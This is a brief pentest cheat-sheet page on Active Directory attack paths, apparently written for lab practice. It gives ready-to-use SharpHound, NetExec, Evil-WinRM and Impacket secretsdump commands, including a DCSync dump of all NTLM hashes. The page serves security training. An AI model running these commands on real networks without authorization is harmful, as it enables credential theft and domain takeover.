Active Directory Attack Paths & Domain Enumeration

Domain mapping and attack path analysis using SharpHound, BloodHound, NetExec, and Impacket secretsdump.

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Active Directory environments rely on complex trust relationships, ACL permissions, and Kerberos delegation.

1. BloodHound / SharpHound Telemetry

Collect all domain objects, groups, sessions, and ACLs:

.\SharpHound.exe -c All,GPOLocalGroup --zipfilename htb_ad.zip

2. NetExec (CrackMapExec) Domain Sweep

Verify credentials and locate administrative access across subnets:

nxc smb {TARGET_IP} -u {USER} -p "{PASSWORD}" --shares

3. Remote PowerShell with Evil-WinRM

evil-winrm -i {TARGET_IP} -u {USER} -p "{PASSWORD}" -s /opt/scripts

4. DCSync Credential Extraction

Dump all NTLM password hashes directly over RPC:

impacket-secretsdump {DOMAIN}/{USER}:{PASSWORD}@{TARGET_IP} -just-dc-ntlm

Combine domain enumeration with 07. Kerberos Exploitation: AS-REP & Kerberoasting and 08. Active Directory Certificate Services (AD CS) Abuse.

More pentest methodology notes

• 01. Network Discovery & Port Scanning Guide
• 02. Web Content Discovery & Directory Fuzzing
• 03. Web Application Exploitation & Injection
• 04. Linux Privilege Escalation Master Guide
• 05. Windows Local Privilege Escalation & LOLBAS
• 07. Kerberos Exploitation: AS-REP & Kerberoasting
• 08. Active Directory Certificate Services (AD CS) Abuse
• 09. Pivoting, Tunnels & Lateral Movement
• 10. Password Cracking & Hash Identification
• 11. Offensive File Transfers Across Restricted Networks
• 12. Interactive TTY Stabilization & Terminal Spawning